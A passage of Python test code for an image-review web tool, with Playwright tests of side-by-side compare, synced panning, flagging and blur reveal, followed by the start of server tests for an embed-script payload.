})"""
|
||||
|
||||
|
||||
def test_one_mode_for_both_and_for_the_review(browser, live):
|
||||
"""`Z` switches BOTH stages to 1:1 and stores it as the review's own
|
||||
preference: the review then opens in 1:1, and Z back is Fit for both."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (1600, 1200), "b.png": (1400, 1000)})
|
||||
ctx = browser.new_context(viewport={"width": 1440, "height": 900})
|
||||
page = ctx.new_page()
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
fit = page.evaluate(_IMGS)
|
||||
page.keyboard.press("z")
|
||||
page.wait_for_timeout(150)
|
||||
one = page.evaluate(_IMGS)
|
||||
# both larger than their stages, so both offer the grab at once — not at
|
||||
# the next resize
|
||||
grab = page.evaluate("[...document.querySelectorAll('.cmp-side .vstage')].map(s => getComputedStyle(s).cursor)")
|
||||
stored = page.evaluate("localStorage.getItem('booth.fit')")
|
||||
pressed = page.locator("#btn-one").get_attribute("aria-pressed")
|
||||
page.goto(f"{base}/b/g/view?f=a.png", wait_until="networkidle")
|
||||
page.wait_for_function("document.getElementById('vimg').complete && document.getElementById('vimg').naturalWidth > 0")
|
||||
review_one = page.evaluate("""() => { const i = document.getElementById('vimg'), b = i.getBoundingClientRect();
|
||||
return document.documentElement.classList.contains('stage-one') &&
|
||||
Math.round(b.width) === i.naturalWidth && Math.round(b.height) === i.naturalHeight; }""")
|
||||
page.goto(f"{base}/b/g/compare?a=a.png&b=b.png", wait_until="networkidle")
|
||||
page.keyboard.press("Z")
|
||||
back = page.evaluate("[document.documentElement.classList.contains('stage-one'), localStorage.getItem('booth.fit')]")
|
||||
ctx.close()
|
||||
assert all([w, h] != [nw, nh] for w, h, nw, nh in fit), fit
|
||||
assert all([w, h] == [nw, nh] for w, h, nw, nh in one), one
|
||||
assert grab == ["grab", "grab"], grab
|
||||
assert stored == "one" and pressed == "true" and review_one is True, (stored, pressed, review_one)
|
||||
assert back == [False, None], back
|
||||
|
||||
|
||||
_SCROLLS = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => [s.scrollLeft, s.scrollTop])"""
|
||||
|
||||
|
||||
def _one_to_one(page, url):
|
||||
"""Open a compare in 1:1 (the stored preference, applied before paint)."""
|
||||
page.add_init_script("try { localStorage.setItem('booth.fit', 'one'); } catch (e) {}")
|
||||
_open(page, url)
|
||||
|
||||
|
||||
def _center(page, side):
|
||||
box = page.locator(f'.cmp-side[data-side="{side}"] .vstage').bounding_box()
|
||||
return box["x"] + box["width"] / 2, box["y"] + box["height"] / 2
|
||||
|
||||
|
||||
def test_synced_pan_lands_on_the_same_crop(browser, live):
|
||||
"""Two pictures of one size, larger than the stage, in 1:1. A drag on A of
|
||||
(+80, +60) scrolls BOTH by (-80, -60): the same pixels under the same
|
||||
point. A wheel on B moves A with it. After a second of idle neither has
|
||||
moved on its own (no sync loop)."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (3000, 3000), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(500, 500)")
|
||||
page.wait_for_timeout(200)
|
||||
start = page.evaluate(_SCROLLS)
|
||||
cx, cy = _center(page, "a")
|
||||
page.mouse.move(cx, cy); page.mouse.down(); page.mouse.move(cx + 80, cy + 60, steps=6); page.mouse.up()
|
||||
page.wait_for_timeout(200)
|
||||
dragged = page.evaluate(_SCROLLS)
|
||||
bx, by = _center(page, "b")
|
||||
page.mouse.move(bx, by)
|
||||
page.mouse.wheel(0, 300)
|
||||
page.wait_for_timeout(600)
|
||||
wheeled = page.evaluate(_SCROLLS)
|
||||
page.wait_for_timeout(1000)
|
||||
idle = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert start == [[500, 500], [500, 500]], start
|
||||
assert dragged == [[420, 440], [420, 440]], dragged
|
||||
assert wheeled[1][1] > 440 and wheeled[0] == wheeled[1], wheeled
|
||||
assert idle == wheeled, (wheeled, idle)
|
||||
|
||||
|
||||
_RANGES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s =>
|
||||
[s.scrollWidth - s.clientWidth, s.scrollHeight - s.clientHeight])"""
|
||||
|
||||
# The first y near `from` on B whose trip B -> A -> B does not come back to
|
||||
# itself when each scroll lands on a whole pixel: where a sync that re-synced
|
||||
# its own echo would walk B off the spot it was put on.
|
||||
_LOSSY = """([from, rA, rB]) => {
|
||||
for (let y = from; y < from + 200; y++)
|
||||
if (Math.round(Math.round(y / rB * rA) / rA * rB) !== y) return y;
|
||||
return from;
|
||||
}"""
|
||||
|
||||
|
||||
def test_synced_pan_by_fraction_for_different_sizes(browser, live):
|
||||
"""A 2000px and a 3000px picture. One at its middle puts the other at ITS
|
||||
middle; one at 25% of its range puts the other at 25% of ITS range — not
|
||||
at the same pixel offset. The equal-size test cannot see a fraction bug
|
||||
(equal overflow makes offsets and fractions coincide); this one can. And a
|
||||
side put somewhere STAYS there: the sync never echoes back and walks it."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (2000, 2000), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
|
||||
a = '.cmp-side[data-side="a"] .vstage'
|
||||
b = '.cmp-side[data-side="b"] .vstage'
|
||||
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [a, round(rax / 2), round(ray / 2)])
|
||||
page.wait_for_timeout(250)
|
||||
middle = page.evaluate(_SCROLLS)
|
||||
y = page.evaluate(_LOSSY, [round(rby / 4), ray, rby])
|
||||
x = page.evaluate(_LOSSY, [round(rbx / 4), rax, rbx])
|
||||
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [b, x, y])
|
||||
page.wait_for_timeout(250)
|
||||
quarter = page.evaluate(_SCROLLS)
|
||||
page.wait_for_timeout(1000)
|
||||
idle = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert rbx > rax > 0 and rby > ray > 0, (rax, ray, rbx, rby)
|
||||
assert abs(middle[1][0] - rbx / 2) <= 1 and abs(middle[1][1] - rby / 2) <= 1, (middle, rbx, rby)
|
||||
assert abs(quarter[0][0] / rax - x / rbx) * rax <= 1, (quarter, x)
|
||||
assert abs(quarter[0][1] / ray - y / rby) * ray <= 1, (quarter, y)
|
||||
assert quarter[0][0] < x - 100, "A must sit at ITS 25%, not at B's pixel offset"
|
||||
assert quarter[1] == [x, y] and idle == quarter, (x, y, quarter, idle)
|
||||
|
||||
|
||||
def test_an_axis_with_nothing_to_scroll_is_ignored(browser, live):
|
||||
"""A side with nothing to scroll on an axis ignores that axis, each axis
|
||||
on its own. A is wide and short (it scrolls across only), B is large. B
|
||||
scrolled down stays down when A pans across: B's x follows, B's y is B's."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (3000, 200), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"b\"] .vstage').scrollTo(0, 500)")
|
||||
page.wait_for_timeout(250)
|
||||
down = page.evaluate(_SCROLLS)
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(800, 0)")
|
||||
page.wait_for_timeout(250)
|
||||
across = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert ray == 0 and rax > 0 and rby > 0, (rax, ray, rbx, rby)
|
||||
assert down == [[0, 0], [0, 500]], down
|
||||
assert across[0] == [800, 0], across
|
||||
assert abs(across[1][0] - 800 / rax * rbx) <= 1 and across[1][1] == 500, across
|
||||
|
||||
|
||||
def test_a_flags_A_in_place_and_the_stages_survive(browser, live):
|
||||
"""`A` flags A in place: no navigation, A's control and label show the
|
||||
flag, B's do not, and both stages are the SAME nodes — a save swaps the
|
||||
regions and never a stage (a playing track would restart)."""
|
||||
from booth.marks import marks_for
|
||||
base, root = live
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
page.evaluate("""() => { window.__noReload = 1;
|
||||
window.__stages = [...document.querySelectorAll('.cmp-side .vstage')]; }""")
|
||||
page.keyboard.press("a")
|
||||
page.wait_for_selector("#cmp-flag-a.is-flagged", timeout=10000)
|
||||
got = page.evaluate("""() => ({
|
||||
reload: window.__noReload !== 1,
|
||||
same: [...document.querySelectorAll('.cmp-side .vstage')].every((s, i) => s === window.__stages[i]),
|
||||
a: document.querySelector('[data-region="label-a"]').textContent,
|
||||
b: document.querySelector('[data-region="label-b"]').textContent,
|
||||
bflag: document.getElementById('cmp-flag-b').classList.contains('is-flagged'),
|
||||
strip: [...document.querySelectorAll('.film-f.is-flagged')].map(f => f.dataset.rel),
|
||||
})""")
|
||||
flagged = [m.target for m in marks_for(b) if m.shape == "flag"]
|
||||
# the save REPLACED the buttons: each key must find the fresh one
|
||||
page.keyboard.press("b")
|
||||
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
|
||||
page.keyboard.press("a")
|
||||
page.wait_for_selector("#cmp-flag-a:not(.is-flagged)", timeout=10000)
|
||||
after = sorted(m.target for m in marks_for(b) if m.shape == "flag")
|
||||
reloaded = page.evaluate("window.__noReload !== 1")
|
||||
page.close()
|
||||
assert not got["reload"] and got["same"], got
|
||||
assert "flagged" in got["a"] and "flagged" not in got["b"] and not got["bflag"], got
|
||||
assert got["strip"] == ["a.png"], got
|
||||
assert flagged == ["a.png"] and after == ["b.png"] and not reloaded, (flagged, after, reloaded)
|
||||
|
||||
|
||||
def _bakeoff(root: pathlib.Path) -> pathlib.Path:
|
||||
"""sindra-bakeoff's shape: two lanes, m and r, the same scenes and seeds,
|
||||
laid out as two parallel runs in sorted order — no pairing rule needed."""
|
||||
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
|
||||
return _pics(root, {f"{lane}-{i}-{sc}.png": (400, 300)
|
||||
for lane in ("m", "r") for i, sc in enumerate(scenes, 1)})
|
||||
|
||||
|
||||
def _pair(page) -> tuple[str, str]:
|
||||
from urllib.parse import parse_qs, urlsplit
|
||||
q = parse_qs(urlsplit(page.url).query)
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def _press_and_wait(page, key):
|
||||
with page.expect_navigation(wait_until="networkidle"):
|
||||
page.keyboard.press(key)
|
||||
|
||||
|
||||
def test_linked_arrow_walks_a_bakeoff(browser, live):
|
||||
"""m#1 against r#1, then `→` three times: every pair is the same scene and
|
||||
seed in the two lanes."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
pairs = [_pair(page)]
|
||||
for _ in range(3):
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
pairs.append(_pair(page))
|
||||
page.close()
|
||||
# every pair, in order: no pair skipped and none repeated
|
||||
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
|
||||
assert pairs == [(f"m-{i}-{sc}.png", f"r-{i}-{sc}.png") for i, sc in enumerate(scenes, 1)], pairs
|
||||
|
||||
|
||||
def test_unlinked_moves_only_the_active_side_and_the_strip_picks_it(browser, live):
|
||||
"""`L` unlinks: `→` moves only B, and a SECOND `→` still moves only B (the
|
||||
state survived the navigation). A strip click replaces the active side.
|
||||
`X` swaps the active side, the reticle follows, and it survives a step."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
page.keyboard.press("l")
|
||||
linked = page.locator("#cmp-link").get_attribute("aria-pressed")
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
one = _pair(page)
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
two = _pair(page)
|
||||
_press_and_wait(page, "ArrowLeft")
|
||||
left = _pair(page)
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
with page.expect_navigation(wait_until="networkidle"):
|
||||
page.locator('.film-f[data-rel="m-3-marsh-s37.png"]').click()
|
||||
picked = _pair(page)
|
||||
page.keyboard.press("x")
|
||||
active = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
[...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel)]""")
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
stepped = _pair(page)
|
||||
after = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
getComputedStyle(document.querySelector('.cmp-side.is-active > .cmp-stagewrap'), '::after').backgroundImage !== 'none',
|
||||
getComputedStyle(document.querySelector('.cmp-side:not(.is-active) > .cmp-stagewrap'), '::after').backgroundImage !== 'none']""")
|
||||
page.close()
|
||||
assert linked == "false", linked
|
||||
assert one == ("m-1-dock-s11.png", "r-2-forge-s23.png"), one
|
||||
assert two == ("m-1-dock-s11.png", "r-3-marsh-s37.png"), two
|
||||
assert left == one, ("← moves only the active side back", left)
|
||||
assert picked == ("m-1-dock-s11.png", "m-3-marsh-s37.png"), picked
|
||||
assert active == ["a", ["m-1-dock-s11.png"]], active
|
||||
assert stepped == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), stepped
|
||||
assert after == ["a", True, False], after
|
||||
|
||||
|
||||
_FILTERS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => getComputedStyle(i).filter)"""
|
||||
_REVEALS = """() => [...document.querySelectorAll('.cmp-reveal')].map(b => getComputedStyle(b).display !== 'none')"""
|
||||
|
||||
|
||||
def test_blur_is_honest_on_both_sides(browser, live):
|
||||
"""A blurred side IS blurred — the computed filter, not just a class. Its
|
||||
own reveal lifts it and leaves the other side blurred. Reveal all lifts
|
||||
both, and stands both per-side reveals down."""
|
||||
from booth.app import set_blurred
|
||||
base, root = live
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
set_blurred(b, "a.png", True)
|
||||
set_blurred(b, "b.png", True)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
before = page.evaluate(_FILTERS)
|
||||
shown = page.evaluate(_REVEALS)
|
||||
page.locator('.cmp-reveal[data-side="b"]').click()
|
||||
page.wait_for_timeout(400) # the filter transition
|
||||
own = page.evaluate(_FILTERS)
|
||||
page.locator('.cmp-reveal[data-side="b"]').click()
|
||||
page.locator('.cmp-reveal[data-side="a"]').click()
|
||||
page.wait_for_timeout(400)
|
||||
own_a = page.evaluate(_FILTERS)
|
||||
page.locator('.cmp-reveal[data-side="a"]').click()
|
||||
page.locator("[data-reveal-all]").click()
|
||||
page.wait_for_timeout(400)
|
||||
everything = page.evaluate(_FILTERS)
|
||||
stood_down = page.evaluate(_REVEALS)
|
||||
page.close()
|
||||
assert all("blur(" in f for f in before), before
|
||||
assert shown == [True, True], shown
|
||||
assert "blur(" in own[0] and "blur(" not in own[1], own
|
||||
assert "blur(" not in own_a[0] and "blur(" in own_a[1], own_a
|
||||
assert all("blur(" not in f for f in everything), everything
|
||||
assert stood_down == [False, False], stood_down
|
||||
|
||||
|
||||
def test_a_save_keeps_the_active_side(browser, live):
|
||||
"""Make A active (a press on its stage), then flag B in place. The save
|
||||
swaps the strip and the labels, and A is STILL the active side — on its
|
||||
stage and on the strip — and a strip click after the swap replaces A."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
ax, ay = _center(page, "a")
|
||||
page.mouse.click(ax, ay)
|
||||
page.evaluate("window.__noReload = 1")
|
||||
page.keyboard.press("b")
|
||||
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
|
||||
kept = page.evaluate("""() => ({
|
||||
reload: window.__noReload !== 1,
|
||||
side: document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
strip: [...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel),
|
||||
url: location.search,
|
||||
})""")
|
||||
with page.expect_navigation(wait_until="networkidle"):
|
||||
page.locator('.film-f[data-rel="m-2-forge-s23.png"]').click()
|
||||
picked = _pair(page)
|
||||
side = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
# the active side lives in the URL: `X` rewrites it in place, so a reload
|
||||
# shows the side that was active, not the default
|
||||
page.keyboard.press("x")
|
||||
page.reload(wait_until="networkidle")
|
||||
reloaded = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.close()
|
||||
assert reloaded == "b", reloaded
|
||||
assert not kept["reload"] and kept["side"] == "a", kept
|
||||
assert kept["strip"] == ["m-1-dock-s11.png"] and "side=a" in kept["url"], kept
|
||||
assert picked == ("m-2-forge-s23.png", "r-1-dock-s11.png") and side == "a", (picked, side)
|
||||
|
||||
|
||||
def test_an_encoded_view_state_name_is_still_view_state(browser, live):
|
||||
"""`%73ide=a` IS `side=a` to the server, so the page must treat it as view
|
||||
state too: after X, a reload shows the side X chose, not the stale one
|
||||
the encoded parameter still named (heid bug hunt, hulda)."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png&%73ide=a")
|
||||
first = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.keyboard.press("x")
|
||||
page.reload(wait_until="networkidle")
|
||||
after = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.close()
|
||||
assert (first, after) == ("a", "b"), (first, after)
|
||||
|
||||
|
||||
def test_without_js_every_judgment_and_step_still_works(browser, live):
|
||||
"""INV-4. Scripts off: the pair renders in two Fit stages, the step and
|
||||
strip links navigate, both flag forms are there and a flag lands back on
|
||||
the same pair. Nothing judgment-bearing hides behind a script."""
|
||||
from booth.marks import marks_for
|
||||
base, root = live
|
||||
b = _bakeoff(root)
|
||||
ctx = browser.new_context(java_script_enabled=False, viewport={"width": 1440, "height": 900})
|
||||
page = ctx.new_page()
|
||||
page.goto(f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png", wait_until="networkidle")
|
||||
fit = page.evaluate("""() => document.documentElement.classList.contains('stage-one') ||
|
||||
[...document.querySelectorAll('.cmp-side .vstage img')].some(i =>
|
||||
Math.round(i.getBoundingClientRect().width) === i.naturalWidth)""")
|
||||
hidden = [page.locator(s).is_visible() for s in ("#cmp-link", "#vtoggle")]
|
||||
forms = page.locator(".cmp-flag form").count()
|
||||
page.locator('a[data-step="both-next"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
both = _pair(page)
|
||||
page.locator('a[data-step="a-prev"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
a_back = _pair(page)
|
||||
page.locator('.film-f[data-rel="m-4-tower-s42.png"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
strip = _pair(page)
|
||||
page.locator("#cmp-flag-b").click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
landed = _pair(page)
|
||||
shows = page.locator("#cmp-flag-b").get_attribute("class")
|
||||
ctx.close()
|
||||
assert fit is False and hidden == [False, False] and forms == 2, (fit, hidden, forms)
|
||||
assert both == ("m-2-forge-s23.png", "r-2-forge-s23.png"), both
|
||||
assert a_back == ("m-1-dock-s11.png", "r-2-forge-s23.png"), a_back
|
||||
assert strip == ("m-1-dock-s11.png", "m-4-tower-s42.png"), strip
|
||||
assert landed == strip and "is-flagged" in shows, (landed, shows)
|
||||
assert [m.target for m in marks_for(b) if m.shape == "flag"] == ["m-4-tower-s42.png"]
|
||||
|
||||
|
||||
def test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view(browser, live):
|
||||
"""C3: a held modifier makes every key inert; Space on a focused control
|
||||
presses it and never steps, and from nowhere in particular it steps
|
||||
(Shift+Space back). `C` in the review opens compare against the next
|
||||
item; `Esc` (or `C`) in compare returns to the review of A."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
v = _pics(root, {"a.png": (400, 300)}, name="v")
|
||||
(v / "b.webm").write_bytes(b"\x1aE\xdf\xa3")
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-2-forge-s23.png&b=r-2-forge-s23.png")
|
||||
start = page.url
|
||||
for key in ("Control+ArrowRight", "Alt+ArrowRight", "Meta+ArrowRight", "Control+x", "Alt+l"):
|
||||
page.keyboard.press(key)
|
||||
page.wait_for_timeout(300)
|
||||
inert = (page.url == start,
|
||||
page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side"),
|
||||
page.locator("#cmp-link").get_attribute("aria-pressed"))
|
||||
page.locator("#cmp-link").focus()
|
||||
page.keyboard.press(" ")
|
||||
page.wait_for_timeout(300)
|
||||
pressed = (page.url.split("?")[1], page.locator("#cmp-link").get_attribute("aria-pressed"))
|
||||
page.locator("#cmp-link").press(" ") # linked again
|
||||
page.evaluate("document.activeElement.blur()")
|
||||
# ...and never from a player on either stage: Space is the player's
|
||||
page.goto(f"{base}/b/v/compare?a=a.png&b=b.webm", wait_until="networkidle")
|
||||
page.locator(".cmp-media").focus()
|
||||
page.keyboard.press(" ")
|
||||
page.wait_for_timeout(300)
|
||||
player = page.url.endswith("/b/v/compare?a=a.png&b=b.webm")
|
||||
page.goto(start, wait_until="networkidle")
|
||||
_press_and_wait(page, " ")
|
||||
fwd = _pair(page)
|
||||
_press_and_wait(page, "Shift+ ")
|
||||
back = _pair(page)
|
||||
_press_and_wait(page, "Escape")
|
||||
esc = page.url
|
||||
_press_and_wait(page, "c")
|
||||
c_review = _pair(page)
|
||||
_press_and_wait(page, "C")
|
||||
c_back = page.url
|
||||
page.close()
|
||||
assert inert == (True, "b", "true"), inert
|
||||
assert player, "Space on a focused player stepped the pair"
|
||||
assert pressed == ("a=m-2-forge-s23.png&b=r-2-forge-s23.png&link=0", "false"), pressed
|
||||
assert fwd == ("m-3-marsh-s37.png", "r-3-marsh-s37.png") and back == ("m-2-forge-s23.png", "r-2-forge-s23.png"), (fwd, back)
|
||||
assert esc.endswith("/b/g/view?f=m-2-forge-s23.png"), esc
|
||||
assert c_review == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), c_review
|
||||
assert c_back.endswith("/b/g/view?f=m-2-forge-s23.png"), c_back
|
||||
@@ -0,0 +1,527 @@
|
||||
"""U3 — the declared embed seam, server side.
|
||||
|
||||
The Booth used to reach into a verbatim report with ten regular expressions: six
|
||||
to find somewhere to hang a favicon and a chip, four to substitute rendered ask
|
||||
markup into the author's own tags. This unit replaces all of it with a seam the
|
||||
page declares:
|
||||
|
||||
<script src="/_booth/embed.js" defer></script>
|
||||
|
||||
What is tested here is the SERVER half — the payload that crosses the seam, the
|
||||
one static asset, and the single conditional append that is now the only thing
|
||||
the Booth does to author HTML. The half that mounts fragments into a live DOM
|
||||
lives in tests/test_embed_browser.py, because no amount of string assertion can
|
||||
see whether a form actually submits.
|
||||
|
||||
Contract: docs/contracts/u3_declared_embed_seam.contract.md
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from booth.app import EMBED_SCRIPT_TAG, EMBED_SRC, create_app
|
||||
from booth.marks import answer_pick, declare_pick, set_flag, write_note
|
||||
|
||||
DECLARED = f'<!doctype html><title>r</title><body>hi<script src="{EMBED_SRC}" defer></script></body>'
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def client(tmp_path):
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
return TestClient(app), tmp_path
|
||||
|
||||
|
||||
def _pick(booth, stem="winner", **kw):
|
||||
doc = {"prompt": "Which render wins?", "options": ["A — baseline", "B — async"]}
|
||||
doc.update(kw)
|
||||
booth.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(booth, stem, doc)
|
||||
return booth
|
||||
|
||||
|
||||
def _multi(booth, stem="batch"):
|
||||
booth.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(booth, stem, {"title": "Round one", "questions": [
|
||||
{"key": "r1", "prompt": "First?", "options": ["a", "b"]},
|
||||
{"key": "r2", "prompt": "Second?", "options": ["a", "b"]},
|
||||
]})
|
||||
return booth
|
||||
|
||||
|
||||
# ---- slice 1: the payload ----------------------------------------------------
|
||||
|
||||
|
||||
def test_embed_payload_carries_a_fragment_for_every_shape(client):
|
||||
c, data = client
|
||||
_multi(data / "b")
|
||||
body = c.get("/b/b/embed.json").json()
|
||||
assert body["booth"] == "b"
|
||||
assert "home" not in body, "a value nothing reads is a second copy waiting to drift"
|
||||
assert body["favicon"].startswith("data:image/svg+xml,")
|
||||
(m,) = body["marks"]
|
||||
assert m["id"] == "batch" and m["error"] is None
|
||||
assert "First?" in m["whole"] and "Second?" in m["whole"]
|
||||
assert 'action="/b/b/answer"' in m["submit"]
|
||||
assert [q["key"] for q in m["questions"]] == ["r1", "r2"] # declaration order
|
||||
assert "First?" in m["questions"][0]["html"]
|
||||
assert 'type="radio"' in m["questions"][0]["html"]
|
||||
|
||||
|
||||
def test_a_single_question_pick_has_one_question_with_a_null_key(client):
|
||||
"""SR-2. `normalize_ask` gives a single-question ask `key: None`, so the
|
||||
payload cannot key questions by name — JSON would write that as "null" and
|
||||
invent a name. Every one-question ask in the fleet hits this."""
|
||||
c, data = client
|
||||
_pick(data / "b")
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert [q["key"] for q in m["questions"]] == [None]
|
||||
assert "Which render wins?" in m["questions"][0]["html"]
|
||||
|
||||
|
||||
def test_marks_are_ordered_by_creation_before_id(client):
|
||||
"""`created` LEADS. The fixture makes creation order and alphabetical order
|
||||
disagree, because a fixture where they agree cannot tell the stated rule
|
||||
from a plain id sort — which is what the first version of this test did, and
|
||||
what a panel caught by reading the fixture rather than the assertion."""
|
||||
c, data = client
|
||||
b = _pick(data / "b", "zebra")
|
||||
_pick(b, "alpha")
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
stamps = {"zebra": "2026-09-22T10:00:00.000000-07:00", # first
|
||||
"alpha": "2026-09-22T11:00:00.000000-07:00"} # second
|
||||
for e in raw["marks"]:
|
||||
e["created"] = stamps[e["id"]]
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
assert [m["id"] for m in c.get("/b/b/embed.json").json()["marks"]] == ["zebra", "alpha"]
|
||||
|
||||
|
||||
def test_the_id_is_only_the_tie_break(client):
|
||||
"""And with `created` equal, the id decides — so two marks written in the
|
||||
same second cannot swap between renders."""
|
||||
c, data = client
|
||||
b = _pick(data / "b", "zebra")
|
||||
_pick(b, "alpha")
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
for e in raw["marks"]:
|
||||
e["created"] = "2026-09-22T10:00:00.000000-07:00"
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
assert [m["id"] for m in c.get("/b/b/embed.json").json()["marks"]] == ["alpha", "zebra"]
|
||||
|
||||
|
||||
def test_open_is_computed_by_the_server_not_the_page(client):
|
||||
"""INV-4. The chip count follows `open_marks`, which is the ONE openness
|
||||
predicate — a half-answered multi-question pick is still open."""
|
||||
c, data = client
|
||||
b = _multi(data / "b")
|
||||
assert c.get("/b/b/embed.json").json()["open"] == ["batch"]
|
||||
answer_pick(b, "batch", {"r1": "a"})
|
||||
assert c.get("/b/b/embed.json").json()["open"] == ["batch"] # partial is OPEN
|
||||
answer_pick(b, "batch", {"r1": "a", "r2": "b"})
|
||||
assert c.get("/b/b/embed.json").json()["open"] == []
|
||||
|
||||
|
||||
def test_the_payload_carries_picks_only(client):
|
||||
"""SR-4. Notes and flags never reach it, which is also what keeps a flag's
|
||||
`flag:<target>` id — the one mark id containing the anchor separator — out
|
||||
of a payload whose specs split on the first colon."""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
(b / "shot.png").write_bytes(b"x")
|
||||
write_note(b, None, "a remark")
|
||||
set_flag(b, "shot.png", True)
|
||||
assert [m["id"] for m in c.get("/b/b/embed.json").json()["marks"]] == ["winner"]
|
||||
|
||||
|
||||
def test_a_damaged_marks_file_does_not_500_the_report(client):
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
(b / ".marks.json").write_text("{not json")
|
||||
r = c.get("/b/b/embed.json")
|
||||
assert r.status_code == 200
|
||||
assert r.json()["marks"] == [] and r.json()["error"]
|
||||
|
||||
|
||||
def test_a_broken_pick_offers_whole_and_nothing_else(client):
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
raw["marks"][0]["declaration"] = {"prompt": "p"} # no options -> AskError
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
(m,) = c.get("/b/b/embed.json").json()["marks"]
|
||||
assert m["error"] and m["questions"] == [] and m["submit"] == ""
|
||||
assert "broken ask" in m["whole"]
|
||||
|
||||
|
||||
def test_the_payload_does_not_record_a_view(client):
